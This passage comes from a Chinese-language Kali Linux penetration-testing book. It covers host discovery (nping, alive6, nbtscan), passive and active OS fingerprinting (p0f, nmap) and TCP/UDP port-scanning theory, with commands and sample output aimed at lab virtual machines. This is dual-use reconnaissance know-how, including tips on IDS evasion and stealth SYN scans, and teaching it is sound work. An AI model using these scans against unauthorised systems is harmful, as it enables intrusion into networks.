figure_0130_0067

图5.12

我们可以根据这个结果判断,只有192.168.56.102响应了我们的请求。

在目标主机不响应ICMP echo 请求数据包的情况下,我们可以向该主机开放的TCP端口发送 TCP SYN 数据包检验它是否在线(见图5.13)。

如果我们要向 192.168.56.102 主机的 22 端口(-p 22)发送 1 次(-c 1)TCP(--tcp)数据包,可使用下述指令:

nping --tcp -c 1 -p 22 192.168.56.102

当然,您得自己猜测哪个端口是开放端口。我们建议您从常规端口开始测试,即 21、222、23、25、80、443和8443端口。

上述指令的运行结果如图5.14所示。

figure_0131_0068

图5.13

figure_0131_0069

图5.14

根据这个结果,可知该主机响应了我们发送到22端口的数据包,所以可以判断目标主机(192.168.56.102)在线。

5.2.6 alive6

如果您需要检测IPv6中联入了哪些主机,肯定不应该扫描整个网络。因为IPv6的地址空间太大了。您可能已经发现IPv6主机的网段是64位的。这意味着如果进行网段扫描,扫描次数就至少要有2的64次方。很明显,在现实世界中进行IPv6的网段扫描不太现实。

幸运的是,有一种名为ICMPv6 Neighbor Discovery(邻居发现)的网络协议。该协议允许IPv6主机接入本地链路系统,并根据局域网内其他IPv6主机的地址自动配置自己的地址。简单的说,您可以使用这个协议发现同网段内在线的主机。

alive6 程序可以发送 ICMPv6 的检测数据包,并能处理网络上的响应。这个程序是THC-IPv6 Attack Toolkit 的一部分。它的研发人员是 The Hackers Choice 小组(http://freeworld.thc.org/thc-ipv6/)的Van Hauser。

可以在终端中直接输入alive6来启动它。这将显示它的使用方法。

假设您想要在IPv6局域网内查找在线的IPv6主机,在您使用eth0接入这个网络的情况下,您可以使用下述指令。

alive6 -p eth0

该指令的返回结果如下。

Alive: fe80::a00:27ff:fe43:1518 [ICMP echo-reply]

Scanned 1 address and found 1 system alive

如果不希望其他主机通过这种方式探测到自己的IPv6主机,可以通过ip6tables指令屏蔽ICMPv6的echo请求。

ip6tables –A INPUT –p ipv6-icmp –-type icmpv6-type 128 –j DROP

目标主机使用了这条指令之后,就无法通过这种方式检测到它了(见图5.15)。

figure_0132_0070

图5.15

5.2.7 detect-new-ip6

这个程序可以在 IPv6 的网络里检测到新加入网络的主机。它也是 THC-IPv6 Attack Toolkit的一个程序。

可以在终端中直接输入detect-new-ipv6来启动它。这将显示它的使用方法。

此处举个简单的例子:我们要发现加入网络的IPv6主机。

detect-new-ip6 eth0

上述指令的返回结果如下。

Started ICMP6 DAD detection (Press Control-C to end) ...

Detected new ip6 address: fe80::a00:27ff:fe43:1518

5.2.8 passive_discovery6

如果需要通过网络监听的方式找到主机的 IPv6 地址,可使用这个程序。它是由 The Hackers Choice 小组(http://freeworld.thc.org/thc-ipv6/)的Van Hauser开发的THC-IPv6 Attack Tookit 里的一个程序。使用这个程序可以避免被IDS 检测出来。

可以在终端中直接输入passive_discovery6来启动它,这将显示它的使用方法。

如果要在网卡eth0上进行监听,可使用下述指令。

passive_discovery6 eth0

上述指令的运行结果如图5.16所示。

figure_0133_0071

图5.16

这个程序只是在监听过程中筛选ARP请求和ARP回复,然后进行相应的分析。在刚才的例子里,passive_discovery6发现了两个IPv6地址,这两个地址如下所示。

● fe80::31ad:1227:d1d3:a002

● fe80::a00:27ff:fe43:1518

5.2.9 nbtscan

如果在内网渗透测试中审计Windows系统,您需要首先获取主机的NetBIOS信息。最常用的工具就是nbtscan。

这个工具可以将相应主机IP地址、NetBIOS计算机名、可用服务、登录用户名和MAC地址整理为报告。如需采用NetBIOS协议访问目标主机的NetBIOS服务(例如网络共享),就需要掌握目标主机的NetBIOS名称。这个工具将会产生大量的网络流量,而且很可能被目标主机记录在日志里。

如需了解NetBIOS报告中每个服务的功能,可在微软知识库(URL地址为 http://support.microsoft.com/kb/163409)里查询NetBIOS服务名称的第16个字符(即NetBIOS后缀)。

可以在终端中直接输入nbtscan来启动它。

如需搜索局域网(192.168.1.0/24)内各个主机的NetBIOS名称,可使用下述指令。

nbtscan 192.168.1.1-254

该指令的返回结果如下。

Doing NBT name scan for addresses from 192.168.1.1-254

IP address  NetBIOS Name Server User   MAC address

---------------------------------------------------------------------

----

192.168.1.81 PC-001  <server> <unknown>

00:25:9c:9f:b0:96

192.168.1.90 PC-003  <server> <unknown>

00:00:00:00:00:00

...

从上面的输出结果可以看出,找到的NetBIOS名字有:PC-001、PC-003和SRV-001。现在用下述命令査看这些主机运行了哪些服务。

#nbtscan -hv 192.168.1.1-254

该指令的返回结果如下。

NetBIOS Name Table for Host 192.168.1.81:

PC-001  Workstation Service

PC-001  File Server Service

WORKGROUP  Domain Name

WORKGROUP  Browser Service Elections

Adapter address 00:25:9c:9f:b0:96

NetBIOS Name Table for Host 192.168.1.90:

PC-003 Workstation Service

PC-003 Messenger Service

PC-003 File Server Service

__MSBROWSE__ Master Browser

WORKGROUP  Domain Name

WORKGROUP  Browser Service Elections

WORKGROUP  Domain Name

WORKGROUP  Master Browser

Adapter address 00:00:00:00:00:00

...

从上面输出结果可以看出,PC-001运行了Workstation(工作站服务)和File Server (文件服务器)。而在 PC-003 上运行 3 个服务是 Workstation、Messenger 和 File Server。经验表明,这些信息里包含了哪台机器提供了文件共享服务。下一步我们可以检测这些文件共享服务是否开放,继而访问其中的文件。

5.3 识别操作系统

在确定目标主机在线后,应当识别它们使用的操作系统。这阶段工作通常称为识別操作系统(也称为操作系统指纹识别)。识别操作系统的方式分为两种:主动式和被动式。

主动式识别工具向目标机器发送数据包,并根据目标的响应确定其使用的操作系统。这种方式的优点在于探测速度快,缺点是目标主机可能会发现我们探测操作系统的行为。

被动式操作系统识别方法克服了主动式识别方法的缺点。Michal Zalewsky是这种探测方式的先驱,他设计的p0f工具率先实现了被动式的识别方法。被动式方法的缺点是,它比主动式识别方法的识别速度慢。

本节将介绍两款识别操作系统的工具。

5.3.1 p0f

p0f采用被动方式的方法探测目标主机的操作系统类型。这个工具可以识别以下几种主机:

● 连接到您主机的机器(SYN 模式,即默认模式);

● 您主机可以访问的机器(SYN+ACK 模式);

● 您主机不能访问的机器(RST+模式);

● 您可以监控到其网络通信的机器。

这个程序通过自身发出的TCP数据包分析操作系统的类型。然后,它会统计在默认情况下不会产生的非标准数据包。例如,Linux内核的操作系统默认使用64字节的ping数据报,而Windows操作系统则使用32字节的ping数据报。这两个操作系统在TTL上同样存在差别。Windows发出的数据包,其TTL是128;而不同版本的Linux系统,其数据包的TTL各有不同。p0f程序正是根据这些细微的差别识别远程主机的操作系统。

Kali Linux自带的p0f程序已经无法识别远程主机的操作系统。原因在于这个版本的指纹数据库过于陈旧。不幸的是,我们未能找到最新版本的指纹数据库。所以我们使用了 p0f v3(Version 3.06b),而没有使用Kali Linux自带的p0f 程序。如需使用这个版本的p0f,请从官方网站上下载 TARBALL 文件(http://lcamtuf.coredump.cx/p0f3/releases/p0f- 3.06b.tgz),然后使用其中build.sh 脚本进行编译。默认情况下,指纹数据库就在当前编译目录里。如果您想把它放在其他目录中(例如把它保存为/etc/p0f/p0f.fp),需要修改 config.h 文件后再重新编译。如果您不更改这个设置,就要在每次使用它的时候,使用-f选项指定指纹数据库的确切位置。

在终端中输入p0f-h可查看它的使用方法和选项说明。

如需使用p0f程序识别远程主机的操作系统,可以使用下述指令。

p0f –f /etc/p0f/p0f.fp -o p0f.log

这条指令将会读取指纹数据库文件(/etc/p0f/p0f.fp),然后把分析日志保存为p0f.log。与此同时,它在屏幕上显示下述内容。

--- p0f 3.06b by Michal Zalewski<lcamtuf@coredump.cx> --

[+] Closed 1 file descriptor.

[+] Loaded 314 signatures from '/etc/p0f/p0f.fp'.

[+] Intercepting traffic on default interface 'eth0'.

[+] Default packet filtering configured [+VLAN].

[+] Log file 'p0f.log' opened for writing.

[+] Entered main event loop.

然后,您需要与这台主机建立TCP连接,产生一些网络流量。您可以浏览远程主机的文件,或者让远程主机连接到您的主机。

如果p0f成功地识別出远程主机的操作系统,这个程序将会在日志文件(p0f.log)和屏幕上记录相关信息。

在我们运行这个程序时,它在终端中显示了如下信息。

.-[ 192.168.56.101/42819 -> 192.168.56.102/80 (syn) ]

|

| client = 192.168.56.101/42819

| os  = Linux 3.x

| dist  = 0

| params = none

| raw_sig = 4:64+0:0:1460:mss*10,7:mss,sok,ts,nop,ws:df,id+:0

|

`---

.-[ 192.168.56.101/42819 -> 192.168.56.102/80 (mtu) ]

|

| client = 192.168.56.101/42819

| link  = Ethernet or modem

| raw_mtu = 1500

|

`---

.-[ 192.168.56.101/42819 -> 192.168.56.102/80 (syn+ack) ]

|

| server = 192.168.56.102/80

| os  = Linux 2.6.x

| dist  = 0

| params = none

| raw_sig = 4:64+0:0:1460:mss*4,5:mss,sok,ts,nop,ws:df:0

|

`---

.-[ 192.168.56.101/42819 -> 192.168.56.102/80 (mtu) ]

|

| server = 192.168.56.102/80

| link  = Ethernet or modem

| raw_mtu = 1500

|

`---

.-[ 192.168.56.101/42819 -> 192.168.56.102/80 (http request) ]

|

| client = 192.168.56.101/42819

| app  = Firefox 10.x or newer

| lang  = English

| params = none

| raw_sig = 1:Host,User-Agent,Accept=[text/html,application/

xhtml+xml,application/xml;q=0.9,*/*;q=0.8],Accept-Language=[en-US,en;q =0.5],Accept-Encoding=[gzip, deflate],Connection=[keepalive]:Accept-Charset,Keep-Alive:Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1

|

`---

.-[ 192.168.56.101/42819 -> 192.168.56.102/80 (http response) ]

|

| server = 192.168.56.102/80

| app  = Apache 2.x

| lang  = none

| params = none

|raw_sig = 1:Date,Server,X-Powered-By=[PHP/5.2.4-2ubuntu5.10],?ContentLength,Keep-Alive=[timeout=15, max=100],Connection=[Keep-Alive],ContentType: Accept-Ranges:Apache/2.2.8 (Ubuntu) DAV/2

|

`---

相应的日志文件如图5.17所示。

figure_0138_0072

图5.17

根据上述结果,我们可判断目标主机运行的操作系统是Linux 2.6。

在目标主机上查看操作系统的信息(见图5.18)。

figure_0139_0073

图5.18

比较这两组信息,可知 p0f 获取的操作系统信息是正确的。远程主机确实运行的是Linux Version 2.6。

按下Ctrl+C组合键可结束p0f程序。

5.3.2 Nmap

Nmap是一款非常受欢迎的功能强大的端口扫描程序。它还能够识别操作系统的操作系统,能够进行主动式的操作系统指纹识别。如需使用操作系统识别功能,您需要在 nmap指令中加上-O选项。

如需识别192.168.56.102这台主机的操作系统,我们可使用下述指令。

nmap –O 192.168.56.102

这个指令的运行结果如图5.19所示。

figure_0139_0074

图5.19

Nmap此次成功识别出了目标主机的操作系统。

本书的后续章节还会详细介绍Nmap程序。

5.4 本章总结

本章讨论了目标识别的工作流程。我们首先介绍了目标识别的作用:搜索在线主机并识别目标主机的操作系统。而后,我们介绍了Kali Linux 里可用于目标识别的工具。

本章介绍的扫描工具有ping、arping、fping、hping3、nping和nbtscan。我们还介绍了在 IPv6 环境下进行主机扫描的工具,例如 alive6、detect-new-ip6 和passive_discovery6。

本章还介绍了操作系统的识别工具——p0f和nmap,它们的识别方式以及使用方法。

在下一章,我们将介绍服务枚举,以及Kali Linux 中包含的实现服务枚举的工具。

第6章 服务枚举

服务枚举是数一种据采集工作,用于获取目标主机开放端口、操作系统和网络服务等有关信息。渗透人员通常会首先识别出在线的目标主机,然后再进行服务枚举。在实际渗透测试中,此阶段的工作属于探测过程的一部分。

本章介绍下几个内容:

● 端口扫描,及其端口扫描工具所支持的扫描类型;

● 端口扫描工具;

● 枚举Windows 系统SMB 服务的扫描工具;

● 枚举SNMP服务的扫描工具;

● 枚举虚拟专用网络(Virtual Private Network,VPN)的扫描工具。

目标枚举旨在最大程度地收集目标主机的网络服务信息。这些信息将使我们在后续阶段的工作——识别漏洞的工作更具针对性。

6.1 端口扫描

简单说来,端口扫描是一种用来确定目标主机TCP端口和UDP端口状态的方法。主机开放了某个端口,就意味着它在这个端口提供某种网络服务。如果某个端口处于关闭状态,则说明主机在这个端口上并没有提供网络服务。

在确定某端口处于开放状态之后,攻击人员就会检查在该端口提供相应服务的程序版本,以判断这个版本的程序是否存在漏洞。例如说,主机A使用的是数年前的1.0版本的Web服务端程序,而且官方发布过这个版本的安全公告。公告内容声明了1.0版本程序存在某种漏洞。如果攻击人员能够检测到服务器A开放了Web服务器,而且能够确定这个程序的版本号,他们就能利用有关信息攻击服务器。可见,主机上服务软件的信息十分重要。

在进行端口扫描的工作之前,我们首先简要介绍一下TCP/IP协议及其应用。

6.1.1 TCP/IP协议

TCP/IP协议是很多协议的统称。这些协议里最重要的两个协议就是TCP协议和IP协议。IP协议提供了寻址、路由等主机互联的功能,而TCP协议约定了连接管理、在两台主机间建立数据通信可靠传输的标准。IP协议是OSI模型的第3层协议,而TCP协议是传输层(OSI第4层)协议。

UDP协议是和TCP同等重要的传输层协议。那么这两种协议之间的区别在哪儿呢?

简要地说,TCP有以下特点。

● TCP 协议是面向连接的协议:在使用 TCP 协议传输数据之前,发起连接的客户端和受理连接的服务器之间必须通过三次握手建立连接。

◆ 客户端向服务器发送初始化连接的 SYN 请求包。这个数据包的序列号(Sequence number)字段将包含随机的初始化序列号(ISN)信息。

◆ 服务器将客户端发送的ISN加1之后,作为自己的ACK数据序列号,以此对客户端 SYN 信息表示确认,而且服务器的数据包会使用独立的序列号。IP数据包里有个专门的ACK 标识位(flag bit),服务器把这个标识位设置为1以表示该数据包是确认数据包。

◆ 客户端再将服务器刚才回复的ISN+1,并向服务器发送ACK 确认包。此后,两台主机开始传输数据的正式过程。

ƒ TCP 协议终止连接的机制如下所示。

◆ 客户端发送一个含有FIN(finish)标志的数据包。

◆ 服务器发送ACK 确认数据,以告知客户端它已经受理了FIN 的数据包。

◆ 应用服务器在关闭连接之前,会再发送一个FIN 数据包给客户端。

◆ 客户端对服务器的FIN 请求发送ACK 确认数据包。通常情况下,客户端和服务器在发送FIN信号之后都可以独自关闭连接。

● TCP 协议是可靠的传输协议:TCP 协议使用序列号和确认信号(ACK 数据包)来识别数据包。每当接收方收到一个数据包,它都会发送 ACK 数据包以进行确认。如果任何一方没有收到对方的 ACK 数据包,它会自动重传。即使接收方收到了乱序的数据包,根据 TCP 协议,接收方可在重新整理数据包的顺序之后,再把数据传给(接收数据的)应用程序。

多数传送文件的应用程序,或者传递重要数据的程序都使用 TCP 协议。例如超文本传输协议(HTTP)和文件传输协议(FTP)都是基于TCP的传输协议。

UDP协议的特征与TCP协议相反。

● UDP 协议不是面向连接的协议。在采用这种协议传输数据时,收发双方不必建立UDP连接。

● UDP 协议旨在尽可能地将数据包发送到目标地址。如果在传输过程种发生了丢包的情况,UDP协议不会自动重传(即操作系统不负责重新传送UDP包)。由应用程序决定是否重新传送数据包。

能够接受丢包情况的应用程序,例如视频流和其他多媒体程序,多数会采用UDP协议传输数据。著名的域名解析系统(DNS)、动态主机配置协议(DHCP)和简单网络管理协议(SNMP)使用的都是UDP协议。

为了能够将网络数据正确地传送给相应的应用程序,传输层实现了一种名为端口(port)的寻址方式。在服务器端,软件程序都在特定服务端口受理网络数据;客户端向服务器端口发送的数据,将会被服务器端对应的软件程序受理。端口号码是16位的编码,取值范围是 0~65535。为了避免使用上的混乱,这些端口大多有着约定俗成的用途。

● 公认的端口(0~1023):这个范围内的端口又称为保留端口,通常供系统管理员(或高权限用户)运行的服务端程序使用。SSH(22号端口)、HTTP(80号端口)、HTTPS (443号端口)等常用服务端口都是这个范围内的端口。

● 注册的端口(1024~49151):Internet 授权地址分配组(IANA)提供这一范围内的端口的注册服务。人们可以把他们自己的客户端/服务器程序( client-server application)所使用的端口号在IANA登记备案。

● 私有端口/动态端口(49152~65535):所有人都可以随意使用这个范围内的端口,而不必向IANA注册端口号。

在简要讨论了TCP和UDP之间的区别之后,我们接下来介绍TCP和UDP数据包的具体格式。

6.1.2 TCP和UDP的数据格式

TCP数据包叫作TCP信息段(segment)。每个TCP消息段由报头(header)和数据构成。如果TCP 消息段不含有TCP 选项(TCP option),那么它的报头的大小应当是20 字节(IPv4)。整个消息段的结构如图6.1所示。

figure_0144_0075

图6.1

上述各字段的作用如下。

● 源端口和目的端口各占 16 位。源端口是发送方在发送该数据包时所使用的端口,目的端口是接收方接收该数据的端口。

● 序列号是32 位数据。在常规情况下,它是标识这个消息段的序列编号。

● 确认号同样是32 位数据。它是上一次已成功收到的数据字节序号加1。

● HLen 是TCP 报头的长度,它占了32 位数据中的头4 位。

● Rsvd 是个4 位大小的保留字段,它的值必须为零。

● 控制位的4 位数据可以通过排列组合表示8 个1bit 的标志位。在旧有的RFC 793规范中(RFC 793的下载地址是http://www.ietf. org/rfc/rfc793.txt), TCP只有6个标志位。

ƒ SYN:同步标志位,此位在建立会话时使用。

ƒ ACK:包含该确认字段的TCP 数据,是对以前接收到的数据包的确认。

ƒ RST:重置连接的标识位。

ƒ FIN:表示发送方已经没有数据需发送,将要以正常方式关闭连接。

ƒ PSH:告诉接收方应当把缓冲区的数据立即推送给应用程序,而不要再等待接收更多的数据。

ƒ URG:这个标识位用以说明TCP报头里的紧急指针(Urgent Pointer)有特殊含义。紧急指针和序号字段相加的和,表示最后一个紧急数据的下一字节的序号。

● 后来,新推出的 RFC 3168(http://www.ietf.org/rfc/rfc3168.txt)增加了两个标志位。

ƒ Congestion Window Reduced(CWR):窗口调整标识位。数据发送方通过这个标识位通知接收方“由于网络拥塞,不得不减小发送队列的长度(缩小TCP窗口)”。

ƒ Explicit Connection Notification-Echo(ECN-Echo):拥塞通告标识位。这个标识位表明网络连接存在拥塞问题。

● 窗口大小占报文头的16 位。它用来声明接收方将接收的字节数量。

● 校验和占16 位,用于校验TCP 报头和数据体。

这些标志位可单独设置。

如需全面了解TCP协议的各项规范,请参阅RFC 793和RFC 3168。

在使用含有SYN的数据包进行端口扫描时,攻击者可能收到的远程响应分为以下几种。

● 目标主机回应 SYN-ACK 包。如果收到了这种数据包,我们可以确定该端口处于开放状态。这是 TCP 规范(RFC 793)中定义的标准响应方式。依据 RFC 793,开放端口在收到SYN包时必须回应SYN-ACK包,而不处理SYN包里的具体数据。

● 目标主机可能会返回数据包,而且这个数据包设有RST标识位和ACK 标识位。这意味该端口处于关闭状态。

● 目标主机可能会返回一个 ICMP 消息(例如,ICMP Port Unreachable)。多数情况下,这是防火墙阻止了SYN数据包造成的。

● 目标主机还有可能不进行响应。无论目标主机的这个端口没有开放网络服务,还是防火墙以静默模式阻塞了探测的SYN包,都可能发生这种情况。

渗透测试人员只对开放的端口感兴趣,因为这些开放端口的背后必然是某种服务程序,而这些服务端程序正是后续测试的对象。

要想使渗透测试的攻击工作富有成效,就要在充分理解 TCP 行为的基础上进行端口扫描。

下文将从报头格式开始介绍UDP协议。我们首先介绍UDP数据的报头(见图6.2)。

figure_0146_0076

图6.2

上图中各字段的功能如下。

● 和 TCP 报头一样,UDP 报头也有相应的源端口和目的端口。这两个字段各占 16位。源端口是发送数据包的主机使用的端口,目的端口是接收数据的目标主机的端口。

● UDP 长度是UDP 报头的长度。

● UDP 校验和是用于检测UDP 报头和数据错误的16 位校验和。

请注意UDP报文头没有序列号和确认号,也没有控制位。

在扫描目标主机的UDP端口时,攻击者可能收到的响应分为以下几种。

● 目标主机回复UDP 数据包。如果收到了回复数据,可判断该端口处于开放状态。

● 目标主机可能会返回ICMP消息(例如,ICMP Port Unreachable)。这种消息表明该端口处于关闭状态。但是如果收到的是ICMP Port Unreachable 以外的ICMP信息,则意味着防火墙阻止了到这个端口的通信。

● 目标主机还可能不进行任何响应,以下情况都可能发生这种情况:

○ 端口处于关闭状态;

○ 入站(inbound)UDP 包被过滤了;

○ 目标主机的响应被屏蔽了。

UDP端口扫描结果的可靠程度不及TCP扫描。在某些情况下,工作于UDP协议的服务端程序可能只响应特定类型的 UDP 数据包。所以在进行 UDP 端口扫描时,即使某些端口处于开放状态,目标主机同样可能没有任何响应。

前文已经简要介绍了端口扫描的理论,后文将介绍实践的环节。后续章节里,我们通过几款工具进行网络扫描。

为了便于本书演示,我们将对装有Metasploitable的虚拟主机进行扫描。第1章介绍过它的安装和配置方法。在后续篇幅里,除非特别声明,Metasploitable虚拟机的IP地址是192.168.56.103,而我们进行渗透测试的主机地址是192.168.56.102。

6.2 网络扫描程序

本节将介绍多款工具。这些工具可发现开放端口,识别远程主机的操作系统,枚举运行其上的各种服务。

服务枚举是在特定主机、特定端口上识别服务端程序版本的方法。有了服务器端软件的版本信息,测试人员就可以查找该版本上存在的安全漏洞。

确实有一些管理员有定期更改服务程序运行端口的习惯。例如,SSH 服务程序的通常运行在22号端口上,但是系统管理员可能把它改为2222之类的其他端口。渗透测试人员如果只是检测了SSH的常规端口,就不会发现目标主机运行了SSH服务。在非标准端口上运行的专用程序往往也是渗透测试人员的一大难题。服务枚举工具能够在一定程度上减轻这两方面的问题。使用服务枚举工具对全部端口进行无差别扫描,会增加识别成功的几率。

6.2.1 Nmap

Nmap 是被专业人员广泛使用的一款功能全面的端口扫描工具。它由 Fyodor 编写并维护。由于Nmap品质卓越,使用灵活,它已经是渗透测试人员必备的工具。

除了端口扫描外,Nmap还具备如下功能。

● 主机探测:Nmap 可査找目标网络中的在线主机。默认情况下,Nmap 通过4种方式——ICMP echo 请求(ping)、向443端口发送TCP SYN 包、向80端口发送TCP ACK包和ICMP时间戳请求——发现目标主机。

● 服务/版本检测:在发现开放端口后,Nmap 可进一步检查目标主机的检测服务协议、应用程序名称、版本号等信息。

● 操作系统检测:Nmap 向远程主机发送一系列数据包,并能够将远程主机的响应与操作系统指纹数据库进行比较。如果发现了匹配结果,它就会显示匹配的操作系统。它确实可能无法识别目标主机的操作系统;在这种情况下,如果您知道目标系统上使用的何种操作系统,可在它提供的 URL 里提交有关信息,更新它的操作系统指纹数据库。

● 网络路由跟踪:它通过多种协议访问目标主机的不同端口,以尽可能访问目标主机。Nmap路由跟踪功能从TTL的高值开始测试,逐步递减TTL,直到它到零为止。

● Nmap 脚本引擎:这个功能扩充了Nmap 的用途。如果您要使用Nmap 实现它(在默认情况下)没有的检测功能,可利用它的脚本引擎手写一个检测脚本。目前,Nmap可检査网络服务的漏洞,还可以枚举目标系统的资源。

应当养成时常更新Nmap 的好习惯。如果需要在Kali Linux 里安装最新版本的Namp 程序,您可使用下述指令。

apt-get update

apt-get install nmap

在控制台终端启动Nmap的指令如下。

nmap

上述命令将显示该程序的所有可选项及使用说明。刚刚接触 Nmap 的新手可能会因为信息量太大而觉得无从下手。

幸运的是,您仅需指定一个参数即可启动扫描。这个参数就是目标主机的IP地址或主机名称(如果要使用主机名称,您首先需要给您的主机配置一个能够解析它的 DNS 服务器)。例如,您可以使用下述指令。

nmap 192.168.56.103

在没有指定其他选项的情况下,上述指令的输出结果如下。

Nmap scan report for 192.168.56.103

Host is up (0.0046s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajp13

8180/tcp open unknown

MAC Address: 08:00:27:43:15:18 (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds

上述结果表明目标主机开放了很多端口。我们可以依此判断它容易遭受攻击。

在继续演示Nmap之前,我们介绍一下Nmap可以识别出的6种端口状态。这6种端口状态如下。

● 开放:工作于开放端口的服务器端的应用程序可以受理TCP 连接、接收UDP 数据包或者响应SCTP(流控制传输协议)请求。

● 关闭:虽然我们确实可以访问有关的端口,但是没有应用程序工作于该端口上。

● 过滤:Nmap 不能确定该端口是否开放。包过滤设备屏蔽了我们向目标发送的探测包。

● 未过滤:虽然可以访问到指定端口,但Nmap 不能确定该端口是否处于开放状态。

● 打开|过滤:Nmap 认为指定端口处于开放状态或过滤状态,但是不能确定处于两者之中的哪种状态。在遇到没有响应的开放端口时,Nmap 会作出这种判断。这可以是由于防火墙丢弃数据包造成的。

● 关闭|过滤:Nmap 认为指定端口处于关闭状态或过滤状态,但是不能确定处于两者之中的哪种状态。

介绍了端口状态之后,下面将介绍几个在渗透测试中常用的 Nmap 选项。而后,我们将进行实际演示。

1.指定扫描目标

Nmap 把指令中选项和参数以外的内容均当作目标主机来处理。我们建议您以主机 IP地址而非主机名的形式指定目标主机。以 IP 地址的形式指定目标主机,Nmap 就不必在扫描之前进行DNS解析,这样可以提高端口扫描的速度。

您可以以下述几种形式,为当前版本的Nmap指定扫描目标的IPv4地址。

● 单个主机,如192.168.0.1。

● 以 CIDR 标记法表示的地址相连的整个网段。例如,192.168.0.0/24 表示从192.168.0.0到192.168.0.255的256个IP地址。

● 十进制的IP区间。例如,192.168.2-4,6.1 表示4个IP地址:192.168.2.1、192.168.3.1、192.168.4.1和192.168.6.1。

● 多个主机目标,如192.168.2.1 172.168.3-5,9.1。

Nmap仅支持标准格式的IPv6地址和以主机名方式指定的IPv6主机地址。

除了可在命令行里指定目标主机以外,您还可以指定-iL <inputfilename>选项,令 Nmap 程序从指定的文本文件中读取目标主机的清单。当需要从其他程序的运行结果里导出IP地址给Nmap使用时,这个功能就十分有用。

务必确保文件采用的是 Nmap 支持的指定格式。即,使用空格、制表符或换行符号间隔不同的目标主机。

举例来说,目标清单文件可以如下所示。

192.168.1.1-254

192.168.2.1-254

现在,我们开始扫描192.168.56.0/24这个网段。另外,我们需要使用数据包捕获(监听)工具观察Nmap发送的数据包。此时可以使用tcpdump程序。

我们可以打开终端窗口,然后使用下述指令。

tcpdump -nnX tcp and host 192.168.56.102

在本例中,192.168.56.102是运行Nmap程序的主机的IP地址。请根据您的实际情况进行相应调整。

现在新建一个终端窗口,然后并执行下述命令。

nmap 192.168.56.0/24

tcpdump终端窗口会显示捕获的数据包。

22:42:12.107532 IP 192.168.56.102.49270 > 192.168.56.103.23:

Flags [S], seq 239440322, win 1024, options [mss 1460], length 0

0x0000: 4500 002c eb7f 0000 3006 ad2e c0a8 3866 E..,....0.....8f

0x0010: c0a8 3867 c076 0017 0e45 91c2 0000 0000 ..8g.v...E......

0x0020: 6002 0400 4173 0000 0204 05b4   '...As......

根据以上信息,我们知道实施扫描的主机从49270端口向目标主机的23端口(telnet)发送了含有SYN 标识位的数据包。默认情况下,在Kali Linux 里以特权用户(如root)身份启动Nmap后,程序发送的数据包都会设有SYN标识位。

tcpdump程序还会收集实施扫描的主机发送的其他数据包(见图6.3)。

figure_0151_0077

图6.3

目标主机可能会回复的下述响应信息。

22:36:19.939881 IP 192.168.56.103.1720 > 192.168.56.102.47823:

Flags [R.], seq 0, ack 1053563675, win 0, length 0

0x0000: 4500 0028 0000 4000 4006 48b2 c0a8 3867 E..(..@.@.H...8g

0x0010: c0a8 3866 06b8 bacf 0000 0000 3ecc 1b1b ..8f........>...

0x0020: 5014 0000 a243 0000 0000 0000 0000  P....C........

请注意:上述报头文含有R(即reset[重置])标识。也就是说,目标主机的1720端口处于关闭状态。我们可以根据Nmap的扫描结果验证这个判断。

但是,如果端口处于开放状态,您看到的网络流量则会大体如下。

22:42:12.108741 IP 192.168.56.103.23 > 192.168.56.102.49270:

Flags [S.], seq 1611132106, ack 239440323, win 5840,

options [mss 1460], length 0

0x0000: 4500 002c 0000 4000 4006 48ae c0a8 3867 E..,..@.@.H...8g

0x0010: c0a8 3866 0017 c076 6007 ecca 0e45 91c3 ..8f...v'....E..

0x0020: 6012 16d0 e1bf 0000 0204 05b4 0000

从中可以看出,这个数据包确认了前一个数据包的序列号。前一个数据包的序列号是239440322,这个数据包的确认号是239440323。

2.TCP扫描选项

只有操作系统的高权限用户( UNIX 环境下的 root 级别用户或者 Windows 下的administrator级别用户)才能使用Nmap多数选项。程序需要相应的权限才能发送和接收原始数据包。默认情况下,Nmap 会采用 TCP SYN 扫描。在权限不足的情况下,Nmap 将进行TCP连接扫描。具体来说,Nmap程序支持的扫描方式分别如下。

● TCP 连接扫描(-sT):指定这个选项后,程序将和目标主机的每个端口都进行完整的三次握手。如果成功建立连接,则判定该端口是开放端口。由于在检测每个端口时都需要进行三次握手,所以这种扫描方式比较慢,而且扫描行为很可能被目标主机记录下来。如果启动Nmap的用户的权限不足,那么默认情况下Nmap程序将以这种模式进行扫描。

● SYN 扫描(-sS):该选项也称为半开连接或者SYN stealth。采用该选项后,Nmap将使用含有SYN标志位的数据包进行端口探测。如果目标主机回复了SYN/ACK包,则说明该端口处于开放状态:如果回复的是RST/ACK包,则说明这个端口处于关闭状态;如果没有任何响应或者发送了ICMP unreachable信息,则可认为这个端口被屏蔽了。SYN模式的扫描速度非常好。而且由于这种模式不会进行三次握手,所以是一种十分隐蔽的扫描方式。如果启动Nmap的用户有高级别权限,那么在默认情况下Nmap程序将以这种模式进行扫描。

● TCP NULL(-sN)、FIN(-sF)及XMAS(-sX)扫描:NULL 扫描不设置任何控制位;FIN扫描仅设置FIN标志位:XMAS扫描设置FIN、PSH和URG的标识位。如果目标主机返回了含有 RST 标识位的响应数据,则说明该端口处于关闭状态;如果目标主机没有任何回应,则该端口处于打开|过滤状态。

● TCP Maimon扫描(-sM):Uriel Maimon 首先发现了TCP Maimom扫描方式。这种模式的探测数据包含有FIN/ACK标识。对于BSD衍生出来的各种操作系统来说,如果被测端口处于开放状态,主机将会丢弃这种探测数据包;如果被测端口处于关闭状态,那么主机将会回复RST。

● TCPACK 扫描(-sA):这种扫描模式可以检测目标系统是否采用了数据包状态监测技术(stateful)防火墙,并能确定哪些端口被防火墙屏蔽。这种类型的数据包只有一个ACK标识位。如果目标主机的回复中含有RST标识,则说明目标主机没有被过滤。

